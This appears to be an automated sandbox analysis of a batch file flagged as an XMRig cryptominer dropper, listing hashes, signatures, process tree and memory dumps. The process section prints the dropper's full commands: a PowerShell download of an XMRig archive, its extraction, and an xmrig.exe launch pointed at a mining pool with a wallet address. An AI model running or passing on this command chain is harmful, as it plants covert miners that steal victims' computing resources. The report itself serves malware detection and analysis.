Analysis

  • max time kernel
    1790s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01-01-2024 03:11

General

  • Target

    tesy - Copy (2).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 48 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2908
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4564

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    12917e3955a2e3968c1b27001cc63dcc

    SHA1

    8a2024cbab50a523adb40fc341374f6ec034f878

    SHA256

    6a5dc225e6050783aa9d4a3d96c0ef9a511f79b7ccd6fffd9d10594a920dc0af

    SHA512

    70ea3917e4f75b101cded48d6549d8a54b04add10d73f224cfa5e012e5af0182b07d3e8c14893857d66e10f3b11d9481317288554d097c66d3acc17941fb22eb

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ilzmmfri.dhm.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    17KB

    MD5

    835bfddca9a075dd36113864c451ed6d

    SHA1

    bedbb323b521adbf0547094ec3b1eac844e149f3

    SHA256

    d4b0f20539a7eb23d4ab2dba7371ae930f289fea9bf559eb27cb02c5fea8ba5b

    SHA512

    d91f17e545f2b4e969a51f1e68114a7bf3d7d5b506728164c6b1e5c0e280b6a8840d193a454b3abd351cf10f3a7c18c8ca8ddfd258d0fe61effbaf4d391e175e

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    9KB

    MD5

    1a2d34c6b3cb82b32efc8f6409d85c7f

    SHA1

    bb30c2f2036285fdbfedde098d313a8ca4a8ddb2

    SHA256

    003c83d152ea92157ab63678cd99e3268b69570227f2008c76de1cca96418b15

    SHA512

    e4cdd19dbc3920edc82744a0c61c0d2a6653a00db4a1619f4de740e3c5f33559cc07949f92d080ab7deb635762af61242e952301d00c86476b853393c6de6466

  • memory/2908-117-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

    Filesize

    9.9MB

  • memory/2908-80-0x00000204EC1D0000-0x00000204EC1E2000-memory.dmp

    Filesize

    72KB

  • memory/2908-93-0x00000204EC1A0000-0x00000204EC1AA000-memory.dmp

    Filesize

    40KB

  • memory/2908-67-0x00000204EBE60000-0x00000204EBE70000-memory.dmp

    Filesize

    64KB

  • memory/2908-40-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

    Filesize

    9.9MB

  • memory/2908-43-0x00000204EBE60000-0x00000204EBE70000-memory.dmp

    Filesize

    64KB

  • memory/2908-42-0x00000204EBE60000-0x00000204EBE70000-memory.dmp

    Filesize

    64KB

  • memory/3304-6-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

    Filesize

    9.9MB

  • memory/3304-34-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

    Filesize

    9.9MB

  • memory/3304-29-0x00000283E7240000-0x00000283E7250000-memory.dmp

    Filesize

    64KB

  • memory/3304-28-0x00000283E7240000-0x00000283E7250000-memory.dmp

    Filesize

    64KB

  • memory/3304-27-0x00000283E7240000-0x00000283E7250000-memory.dmp

    Filesize

    64KB

  • memory/3304-26-0x00007FFC84EB0000-0x00007FFC8589C000-memory.dmp

    Filesize

    9.9MB

  • memory/3304-25-0x00000283E7240000-0x00000283E7250000-memory.dmp

    Filesize

    64KB

  • memory/3304-9-0x00000283E7240000-0x00000283E7250000-memory.dmp

    Filesize

    64KB

  • memory/3304-10-0x00000283FF650000-0x00000283FF6C6000-memory.dmp

    Filesize

    472KB

  • memory/3304-7-0x00000283E7240000-0x00000283E7250000-memory.dmp

    Filesize

    64KB

  • memory/3304-4-0x00000283FF5A0000-0x00000283FF5C2000-memory.dmp

    Filesize

    136KB

  • memory/4564-143-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-155-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-122-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-124-0x0000025353F70000-0x0000025353F90000-memory.dmp

    Filesize

    128KB

  • memory/4564-123-0x0000025352690000-0x00000253526B0000-memory.dmp

    Filesize

    128KB

  • memory/4564-125-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-126-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-128-0x0000025352690000-0x00000253526B0000-memory.dmp

    Filesize

    128KB

  • memory/4564-129-0x0000025353F70000-0x0000025353F90000-memory.dmp

    Filesize

    128KB

  • memory/4564-127-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-130-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-131-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-132-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-133-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-134-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-135-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-136-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-137-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-138-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-139-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-140-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-141-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-142-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-120-0x00000253523F0000-0x0000025352410000-memory.dmp

    Filesize

    128KB

  • memory/4564-144-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-145-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-146-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-147-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-148-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-149-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-150-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-151-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-152-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-153-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-154-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-121-0x0000025352650000-0x0000025352690000-memory.dmp

    Filesize

    256KB

  • memory/4564-156-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-157-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-158-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-159-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-160-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-161-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-162-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-163-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-164-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-165-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-166-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-167-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-168-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-169-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-170-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-171-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-172-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-173-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-174-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-175-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-176-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-177-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-178-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-179-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-180-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-181-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-182-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-183-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-184-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-185-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-186-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-187-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB

  • memory/4564-188-0x00007FF779720000-0x00007FF77A223000-memory.dmp

    Filesize

    11.0MB